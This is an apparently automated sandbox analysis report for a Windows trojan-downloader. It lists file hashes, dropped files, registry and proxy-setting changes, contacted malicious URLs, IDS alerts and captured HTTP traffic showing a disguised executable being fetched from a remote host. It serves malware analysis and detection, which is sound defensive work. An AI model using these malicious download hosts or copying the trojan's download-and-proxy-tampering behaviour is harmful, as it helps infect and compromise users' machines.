Trojan.Win32.Delphi_1542a93d8e

by malwarelabrobot on October 27th, 2017 in Malware Descriptions.

Trojan-Downloader.Win32.Tovkater.ela (Kaspersky), Trojan.Win32.Delphi.FD, Trojan.Win32.Sasfis.FD, VirTool.Win32.DelfInject.FD, GenericPhysicalDrive0.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan, VirTool

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 1542a93d8eaf7923423e8d2da3772914
SHA1: 744b661e8c5b94574e3feb4ccacd1481b6402f0e
SHA256: 62485bec262d217f9d73341c78be425c6f86751e2aaf11723b785bd95d9d5f81
SSDeep: 3072:9ND7V2BCDm6Ltzudp88GP8YvRsOAJgVh41KxkeaIknr DBt4qlCkGTh5jHbFftK4:9r2R6xO88CDlVNRfD8kGF5jbfK4
Size: 175759 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2017-08-01 03:35:13
Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:2316

The Trojan injects its code into the following process(es):

ihovet312.exe:3224
WerFault.exe:2628

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2316 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\ihovet312.exe (138526 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\nsJSON.dll (47 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\crub.exe (7040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\INetC.dll (53 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaFEFA.tmp (0 bytes)

Registry activity

The process ihovet312.exe:3224 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\DDECache\IExplore\WWW_OpenURL]
"processname" = "iexplore.exe"
"WindowClassName" = "DDEMLMom"

The process WerFault.exe:2628 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "05 00 00 C0 00 00 00 00 00 00 00 00 04 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Debug\UIHandles]
"FirstLevelConsentDialog" = "Type: REG_QWORD, Length: 8"

[HKCU\Software\Microsoft\Windows\Windows Error Reporting\Debug\UIHandles]
"FirstLevelConsentDialog" = "Type: REG_QWORD, Length: 8"

The process %original file name%.exe:2316 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\1542a93d8eaf7923423e8d2da3772914_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\1542a93d8eaf7923423e8d2da3772914_RASAPI32]
"FileTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\1542a93d8eaf7923423e8d2da3772914_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\1542a93d8eaf7923423e8d2da3772914_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\1542a93d8eaf7923423e8d2da3772914_RASMANCS]
"FileTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\1542a93d8eaf7923423e8d2da3772914_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\1542a93d8eaf7923423e8d2da3772914_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3A 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\1542a93d8eaf7923423e8d2da3772914_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\1542a93d8eaf7923423e8d2da3772914_RASAPI32]
"ConsoleTracingMask" = "4294901760"

"EnableConsoleTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

MD5	File path
640bff73a5f8e37b202d911e4749b2e9	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\INetC.dll
93e3ad4e7c04d1784a89589241ba8e01	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\crub.exe
94fc83992d0dc12202be2366cf4efa15	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\ihovet312.exe
311f1c457421ca059b31ccc375dc4168	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\nsJSON.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: iFlatter NSIS 3.141 installer
Product Version: 21.86.24.3
Legal Copyright: nFlatter Stone Prod 42.22 All rights reserved.
Legal Trademarks:
Original Filename:
Internal Name: yFlatter Installer 52.5156
File Version: 12.83.23.92
File Description:
Comments: mFlatter Install software 2.715
Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	26095	26112	4.51513	ec2b42a8cb6dc271b9c10dae30a843d8
.rdata	32768	5274	5632	3.47064	966a3835fd2d9407261ae78460c26dcc
.data	40960	462840	1536	2.79938	0fcf7ce60969eb6a5524415cb5c1bb1f
.ndata	503808	671744	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	1175552	3520	3584	3.06712	020463f54536196d2a8840db50a34fd4

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://liferoom.top/gFXxlEDt1SeIBWbdEXHwRHQgFXExVRVQwQJVhDdJhWd90SRJVSbIAGH0TLaxVWfB0VG9BCKwBNZEgLrAkXIpUTL8BBPkRGBwBNSMgEr0DUUJ1ABUQBKt0JDYgAalDSGZ1RIBkDIQEVSpUVQ0gXUg0RRM1QVVEDOkEQS1kSWAlDHJlXoAhAXxiADIxQW8BDd0ACZEACGcABRwhCI8lDAc1Gac0NalzSEYhBQIVVOVBCQoQDBohDBsAGrUAFb8CMO11TIcBDbYkWqUBCA0kLBJ0WZFUXF4RTK51WYZAFBNwXOVhXdxFWHgBQe5FXHBQSRAVRXxSHc4VMJUxGdphDBsAFX4gFBIgCagRAB4hVQwgRWwgXo0kLCBwGYkxTehVDcEBAbQQGA0TFeMBMzMVQGhlQRRQGAoTGXAxEdMAMLchD7UiWfpkAFQgXoIRHM4lCBYgAWgwFRc0NalzSEYhBQIVVOhRHFUCHW4RGQYBFG0TFeMBMzMVQGNBCSc0NFoQBa9QHXIgCKgRALZyVvI1GBERGWhFURAgDz0BDW8hFW8ANSMgEr0DUUd0WcNEWehVAWMANeYAEW4gHZYBMzMVQSJUSDFFWM11ROBkFdUBHzohDFgBFfkQDqozUYBERMFEXVhkWUpUSRJVSRwgLfEwEawxANchM7gFVR5lXXwFQMZARdIkCeJhDSJEHL9FWMBASNNlRcIhVaNxWGBkWd8gAGoDFEshBn4hBNwhAAgFVFJVSQUBCA0DHREhADUxTIhVSDllWDdFFBdwFaMkDPARVS9xSEpACT0VQXsFFLBEDYN1VGRxHasBNQUBCA0DHREhADUhMDMhCco0RH91URIxCM8SAFABAL4xJUEQGacUXHhFUW8hBfMACSUyHdEwDaYwHR0TGWkxAzsUAF8ADBEQHXlEQOBUGWkxAzYxAN4xFQYgDqIBFa0TAR8SVAABGQgQEFo0RE91UGcABaxVTdR0XchlQRxgAGcUXW5AHUYwN9YiBNkSDmwyH9MSRCgiPxQSBUsBGTsRTjEjLYEQGABCPgI0KB5hGX5yG0sDDHYgHNxgQL9SBtYTPGIxNe4iRHBAAaowRt8jHaJxH8wzFXcCOYtAKZ1gQJhQLmUEHyQzJSECLzwgH4sVEPtTIkMiKGBkWBxgAqcABHAkXUwhGCs0TAMxJR0BGXlUHYcBHCJlCWghHGZFFf0RBPdEFEshBaxVTCF0QURFTBcwHUAwA3YCJ8URHNkhHW8BHdcAPX91UR8wEWI1QOxQIhISMjczLwEiP3wyNDQlUogzDRkiXO0iJ0siLgEyJ88TP8oQSZRhHVhFXCNlQA9lN5QSSq8DOZ5yKhclBTYwXMcgFWkBQw0BCWUFJywDNzQiXo8QHb4FBPQQKdYBHd0gAHMyXDURBXxCQwsUHQ4AERJVSZcBBWlhOyhHcvxWctRme4NHarVXZxRnY
hxxp://www.friendlyduck.com/AF_TA/rel/index.cfm?RST=UNF&TAD=436770&fn=${PRODUCT_NAME}&SubID=${ENCODED_PIXEL}	128.65.210.109
hxxp://www.adturtle.biz/LP_TA/index.cfm?CTP=AF_TA,TSYqLzdTL1MtUFglIFFaPzUsTTwsM1ohNDFKR0E+LzIlSCgyNEdMSScnWy46IFg+KE4gR0dGUTU4USs1SQpNSCktQ1IqUjI4LlxTTDBQNF9LOzJIWkAqLjs6IUc+LEpDOlg2QyhOI0lQVVBeSlY1XFBNSyIgR0kpOk4oCkJHW1xJQFs4X1pLNjo/WS4sRzpRMFFPIyNTV0QrVjxINSdNX1wiLEMqUjArJ0UgICAK&FN=${PRODUCT_NAME}	104.18.51.109
hxxp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html	52.222.146.214
hxxp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/assets/css/style.css	52.222.146.214
hxxp://ic-dc.deliverydlcenter.com/pr/public/js/jquery.min.js	52.222.146.214
hxxp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/assets/img/icon1-green.png	52.222.146.214
hxxp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/assets/img/icon3-green.png	52.222.146.214
hxxp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/assets/img/icon2-green.png	52.222.146.214
hxxp://ic-dc.deliverydlcenter.com/pr/public/js/detector.js	52.222.146.214
hxxp://s3-1-w.amazonaws.com/pr/public/js/adframe.js
hxxp://s3-1-w.amazonaws.com/ads.js?stam=err
hxxp://ic-dc.deliverydlcenter.com/favicon.ico	52.222.146.214
hxxp://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj/6qJAfE5/j9OXBRE4=
hxxp://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ/icg9B19asFe73bPYs+reAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0=
hxxp://ocsp.trust-provider.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj/6qJAfE5/j9OXBRE4=	178.255.83.1
hxxp://ic-dc.s3.amazonaws.com/ads.js?stam=err	54.231.81.48
hxxp://ic-dc.s3.amazonaws.com/pr/public/js/adframe.js	54.231.81.48
hxxp://ocsp.comodoca4.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ/icg9B19asFe73bPYs+reAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0=	178.255.83.1
www.download.windowsupdate.com	13.107.4.50

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET POLICY PE EXE or DLL Windows file download HTTP
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /pr/72e8e276-8bc5-11e6-a5ec-0695da005429/assets/img/icon3-green.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.deliverydlcenter.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 1519

Connection: keep-alive

Date: Thu, 08 Jun 2017 06:39:22 GMT

Last-Modified: Fri, 07 Oct 2016 08:02:51 GMT

ETag: "659184a48243f6ae257bc88d601ac7e1"

Accept-Ranges: bytes

Server: AmazonS3

Age: 42356

X-Cache: Hit from cloudfront

Via: 1.1 2f43d3215923fbce97b22ee733b0401f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MLdT-zma71u1n51E_0ZUxmkfFo5i3Mo7boLfV5mDYPeOlImsJk3u1Q==
.PNG........IHDR...>...E......$UF....tEXtSoftware.Adobe ImageReadyq
.e<....IDATx..[.O[u.........(.E....o..............U0...Q`.%...}0..$
..d....%&=<.H.|q.sNZ..R..=7.._/P...Z.....rN.....;..0`.......0`.....
S<q..x.6...8. .....4=A].....Y...L<y~&\".I.G..X.Y,......L\{......
./..s.Id.1L....si6o@.c.4.h...5:8.....!...............j..W.h..UvZ...bC.
B....1..j\YZ..9...9....r0..8......V...\..[.HO.y..`.{w..SQ.[.m..L.V.nli
.....L..`..n&...\.bZ.U.@.q...u.......wJ.~.f......:.......x.i.g.......s
...>4...J...z .^r.z..3....RO<y.wI.).Z..v......^p.u.y"H....W*6Q..
tX."?..w...'...%. .......f.|o....3.s......:.Zz].2.............|.v..U..
..c..z.b....i........>....q.S .....'k3...6.......>D.qY.E........
....................1e1=.Ff)..o..|_..O...z...P6. ... ....?O.S...=.DtU.
.c.-C....SG.%.Y....*.......#.=y.K.quyM.......g.(....\9y.Y..s\v....!...
....>@..d............I..d{.m...!..zFR..........._#rr9.g....ut~....!
..;....-....*w...Hx.E.C]........}.....c.n"..>.".._.ZQ.C.."....q.j".
..... ......._I....S.g.....f...o3..Q...jpf......s.)...1B].SO..3..$N..]
.g(.z......D.......T...C/......u.a}....`. ":m.-m..W.....4..JJ.}...%.U.
T....-.N.....m."..?YE...q=....|P.....X.H,.......|..J.F.#M.......w.t...
Xrr&..e=;.a......R.e.RN...2....n-....g..8d../;....b......p..).&.0Xm.._
.Gs.T..V.y.mo..3....h...F.-.^HH......k....2i...v..&.......j..s,...~ok.
.....=......n.`.x..1.-.I...G..V...F...,U.K...Hb".;p...A/...s.V/.._....
7q.S.|....&.~81v-..../...!.G.Q.m............\./*.$h...>..*.u.@b.ZM~
h1yH..W.E...Wp].a.'{....8r.A,...r.....).hY...?.KE.u.........._...d<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Host: ic-dc.deliverydlcenter.com

Connection: Keep-Alive


HTTP/1.1 403 Forbidden

Content-Type: application/xml

Transfer-Encoding: chunked

Connection: keep-alive

Date: Thu, 26 Oct 2017 01:27:43 GMT

Server: AmazonS3

Age: 42

X-Cache: Error from cloudfront

Via: 1.1 2f43d3215923fbce97b22ee733b0401f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CzmgAUax8o6SvRiMH8fzxBW_Dk94VNeJFovxa6KQTIeOFNsr42G-mQ==
f3..<?xml version="1.0" encoding="UTF-8"?>.<Error><Code
>AccessDenied</Code><Message>Access Denied</Message&
gt;<RequestId>910D8703BC1832BB</RequestId><HostId>gw
q6NdiJdS/QkKyZQAUd8dddy 1IpaxpEypJ qJextSVqd3E758Hko66r/XQ6VASnxZYkEzc
fw0=</HostId></Error>..0..HTTP/1.1 403 Forbidden..Content-
Type: application/xml..Transfer-Encoding: chunked..Connection: keep-al
ive..Date: Thu, 26 Oct 2017 01:27:43 GMT..Server: AmazonS3..Age: 42..X
-Cache: Error from cloudfront..Via: 1.1 2f43d3215923fbce97b22ee733b040
1f.cloudfront.net (CloudFront)..X-Amz-Cf-Id: CzmgAUax8o6SvRiMH8fzxBW_D
k94VNeJFovxa6KQTIeOFNsr42G-mQ==..f3..<?xml version="1.0" encoding="
UTF-8"?>.<Error><Code>AccessDenied</Code><Mess
age>Access Denied</Message><RequestId>910D8703BC1832BB&
lt;/RequestId><HostId>gwq6NdiJdS/QkKyZQAUd8dddy 1IpaxpEypJ qJ
extSVqd3E758Hko66r/XQ6VASnxZYkEzcfw0=</HostId></Error>..0.
.

GET /ads.js?stam=err HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.s3.amazonaws.com

Connection: Keep-Alive


HTTP/1.1 200 OK

x-amz-id-2: 8xkkm/yGE67KCjFdWbSZsMKHdSDdgQuzFSFDD jYxEzgeSf8wlSCktjEUaULo2ISE0/O/nz0Cuc=

x-amz-request-id: F5F72750AC176095

Date: Thu, 26 Oct 2017 01:28:26 GMT

Last-Modified: Thu, 12 Jan 2017 15:34:57 GMT

ETag: "bebd18b90969d9319e931acf4d682aa4"

x-amz-meta-cb-modifiedtime: Mon, 09 Jan 2017 12:15:17 GMT

Accept-Ranges: bytes

Content-Type: application/x-javascript

Content-Length: 24

Server: AmazonS3

window.adsAreOk2 = true.HTTP/1.1 200 OK..x-amz-id-2: 8xkkm/yGE67KCjFdW
bSZsMKHdSDdgQuzFSFDD jYxEzgeSf8wlSCktjEUaULo2ISE0/O/nz0Cuc=..x-amz-req
uest-id: F5F72750AC176095..Date: Thu, 26 Oct 2017 01:28:26 GMT..Last-M
odified: Thu, 12 Jan 2017 15:34:57 GMT..ETag: "bebd18b90969d9319e931ac
f4d682aa4"..x-amz-meta-cb-modifiedtime: Mon, 09 Jan 2017 12:15:17 GMT.
.Accept-Ranges: bytes..Content-Type: application/x-javascript..Content
-Length: 24..Server: AmazonS3..window.adsAreOk2 = true...

GET /AF_TA/rel/index.cfm?RST=UNF&TAD=436770&fn=${PRODUCT_NAME}&SubID=${ENCODED_PIXEL} HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: VVV.friendlyduck.com

Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarly

Server: nginx/1.9.5

Date: Thu, 26 Oct 2017 01:27:45 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

X-Powered-By: ASP.NET

Set-Cookie: AF_SATC=LytPSkteXl9fKDpPNytaQ19RICNeCg%3D%3D;expires=Sat, 09-Dec-2017 23:19:40 GMT;path=/

Set-Cookie: AF_SSUBID=%24%7BENCODED%5FPIXEL%7D;expires=Sat, 09-Dec-2017 23:19:40 GMT;path=/

Location: hXXp://VVV.adturtle.biz/LP_TA/index.cfm?CTP=AF_TA,TSYqLzdTL1MtUFglIFFaPzUsTTwsM1ohNDFKR0E+LzIlSCgyNEdMSScnWy46IFg+KE4gR0dGUTU4USs1SQpNSCktQ1IqUjI4LlxTTDBQNF9LOzJIWkAqLjs6IUc+LEpDOlg2QyhOI0lQVVBeSlY1XFBNSyIgR0kpOk4oCkJHW1xJQFs4X1pLNjo/WS4sRzpRMFFPIyNTV0QrVjxINSdNX1wiLEMqUjArJ0UgICAK&FN=${PRODUCT_NAME}

X-Frame-Options: SAMEORIGIN

64....................................................................
..................0..

GET /pr/public/js/detector.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.deliverydlcenter.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 2620

Connection: keep-alive

Date: Tue, 12 Sep 2017 09:39:45 GMT

Last-Modified: Tue, 12 Sep 2017 09:38:29 GMT

ETag: "579520226ca3cfcdc108fd362d1df330"

x-amz-meta-cb-modifiedtime: Sun, 23 Jul 2017 09:28:48 GMT

Accept-Ranges: bytes

Server: AmazonS3

Age: 56381

X-Cache: Hit from cloudfront

Via: 1.1 2905d0bd25e66c3f788fb2134262d52a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vDMtrtj1Z2IJ-9jVxoFlvdNCdWGjVE19Vf0JkSBVei45HgF_U44r1g==
$(document).ready(function() {.  var adsAreOk3=true;.  var counter = 0
;.  var gint = window.setInterval(function() {.    counter  ;.    cons
ole.log("counter: "   counter);.    if (counter == 25) {.      window.
clearInterval(gint);.      adsAreOk3 = true;.    }.    if (typeof adsA
reOk3 != "undefined") {.      window.clearInterval(gint);.      if (!w
indow.adsAreOk || !window.adsAreOk2 || !adsAreOk3) {.        console.l
og("no ads for us");..        //var link = window.link || 'hXXps://www
.bytefence.com/landing/short.html?affiliate=bf-ab&c=1'.        var lin
k = window.link || "hXXps://freecoolapps.com/v2/?ac=ds";..        $(".
content").          .find("[class^=inner]").          .css({.         
   display: "block".          }).          .append(.            '<d
iv class="blocked_box">'  .              '<a href="'  .         
     link  .              '"><img src="../public/img/recommended
_chromium.jpg"></a> '  .              "</div>".        
  );..        // Stylizing the newly created box.        var box = $("
.blocked_box");..        box.css({.          position: "absolute",.   
       top: "0",.          left: "0",.          width: "100%",.       
   height: "100%".        });..        box.find("a img").css({.       
   maxHeight: "100%".        });.      } else {.        var QueryStrin
g = (function() {.          var query_string = {};.          var query
 = window.location.search.substring(1);.          var vars = query.spl
it("&");.          for (var i = 0; i < vars.length; i  ) {.    <<< skipped >>>

GET /pr/public/js/jquery.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.deliverydlcenter.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/javascript

Content-Length: 86351

Connection: keep-alive

Date: Wed, 27 Sep 2017 19:13:04 GMT

Last-Modified: Sun, 07 Aug 2016 11:30:34 GMT

ETag: "05e51b1db558320f1939f9789ccf5c8f"

Accept-Ranges: bytes

Server: AmazonS3

Age: 22150

X-Cache: Hit from cloudfront

Via: 1.1 831ce605dd77f58786c993787cdac90b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OaUz-Zc5o1qApOs2RSs3KoGOCmHJ0b0vz2DSvfz5taz_qDOPjPHQJA==
/*! jQuery v3.1.0 | (c) jQuery Foundation | jquery.org/license */.!fun
ction(a,b){"use strict";"object"==typeof module&&"object"==typeof modu
le.exports?module.exports=a.document?b(a,!0):function(a){if(!a.documen
t)throw new Error("jQuery requires a window with a document");return b
(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use s
trict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.con
cat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toSt
ring,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElemen
t("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}v
ar q="3.1.0",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\
xA0] |[\s\uFEFF\xA0] $/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){retur
n b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,t
oArray:function(){return f.call(this)},get:function(a){return null!=a?
a<0?this[a this.length]:this[a]:f.call(this)},pushStack:function(a)
{var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:
function(a){return r.each(this,a)},map:function(a){return this.pushSta
ck(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){
return this.pushStack(f.apply(this,arguments))},first:function(){retur
n this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b
=this.length,c= a (a<0?b:0);return this.pushStack(c>=0&&c<b?[
this[c]]:[])},end:function(){return this.prevObject||this.constructor(
)},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=functi<<< skipped >>>

GET /gFXxlEDt1SeIBWbdEXHwRHQgFXExVRVQwQJVhDdJhWd90SRJVSbIAGH0TLaxVWfB0VG9BCKwBNZEgLrAkXIpUTL8BBPkRGBwBNSMgEr0DUUJ1ABUQBKt0JDYgAalDSGZ1RIBkDIQEVSpUVQ0gXUg0RRM1QVVEDOkEQS1kSWAlDHJlXoAhAXxiADIxQW8BDd0ACZEACGcABRwhCI8lDAc1Gac0NalzSEYhBQIVVOVBCQoQDBohDBsAGrUAFb8CMO11TIcBDbYkWqUBCA0kLBJ0WZFUXF4RTK51WYZAFBNwXOVhXdxFWHgBQe5FXHBQSRAVRXxSHc4VMJUxGdphDBsAFX4gFBIgCagRAB4hVQwgRWwgXo0kLCBwGYkxTehVDcEBAbQQGA0TFeMBMzMVQGhlQRRQGAoTGXAxEdMAMLchD7UiWfpkAFQgXoIRHM4lCBYgAWgwFRc0NalzSEYhBQIVVOhRHFUCHW4RGQYBFG0TFeMBMzMVQGNBCSc0NFoQBa9QHXIgCKgRALZyVvI1GBERGWhFURAgDz0BDW8hFW8ANSMgEr0DUUd0WcNEWehVAWMANeYAEW4gHZYBMzMVQSJUSDFFWM11ROBkFdUBHzohDFgBFfkQDqozUYBERMFEXVhkWUpUSRJVSRwgLfEwEawxANchM7gFVR5lXXwFQMZARdIkCeJhDSJEHL9FWMBASNNlRcIhVaNxWGBkWd8gAGoDFEshBn4hBNwhAAgFVFJVSQUBCA0DHREhADUxTIhVSDllWDdFFBdwFaMkDPARVS9xSEpACT0VQXsFFLBEDYN1VGRxHasBNQUBCA0DHREhADUhMDMhCco0RH91URIxCM8SAFABAL4xJUEQGacUXHhFUW8hBfMACSUyHdEwDaYwHR0TGWkxAzsUAF8ADBEQHXlEQOBUGWkxAzYxAN4xFQYgDqIBFa0TAR8SVAABGQgQEFo0RE91UGcABaxVTdR0XchlQRxgAGcUXW5AHUYwN9YiBNkSDmwyH9MSRCgiPxQSBUsBGTsRTjEjLYEQGABCPgI0KB5hGX5yG0sDDHYgHNxgQL9SBtYTPGIxNe4iRHBAAaowRt8jHaJxH8wzFXcCOYtAKZ1gQJhQLmUEHyQzJSECLzwgH4sVEPtTIkMiKGBkWBxgAqcABHAkXUwhGCs0TAMxJR0BGXlUHYcBHCJlCWghHGZFFf0RBPdEFEshBaxVTCF0QURFTBcwHUAwA3YCJ8URHNkhHW8BHdcAPX91UR8wEWI1QOxQIhISMjczLwEiP3wyNDQlUogzDRkiXO0iJ0siLgEyJ88TP8oQSZRhHVhFXCNlQA9lN5QSSq8DOZ5yKhclBTYwXMcgFWkBQw0BCWUFJywDNzQiXo8QHb4FBPQQKdYBHd0gAHMyXDURBXxCQwsUHQ4AERJVSZcBBWlhOyhHcvxWctRme4NHarVXZxRnY HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: liferoom.top

Connection: Keep
HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Thu, 26 Oct 2017 01:28:06 GMT

Content-Type: application/exe

Content-Length: 2375680

Connection: keep-alive

X-Powered-By: PHP/5.4.17

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Thu, 26 Oct 2017 01:28:06 GMT

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Content-Disposition: attachment; filename="wondersharedvdcreator4.0.0.exe";

Content-Transfer-Encoding: binary

Pragma: public

MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L....^B*............
.....p........R...n...R...o...@...........................v...........
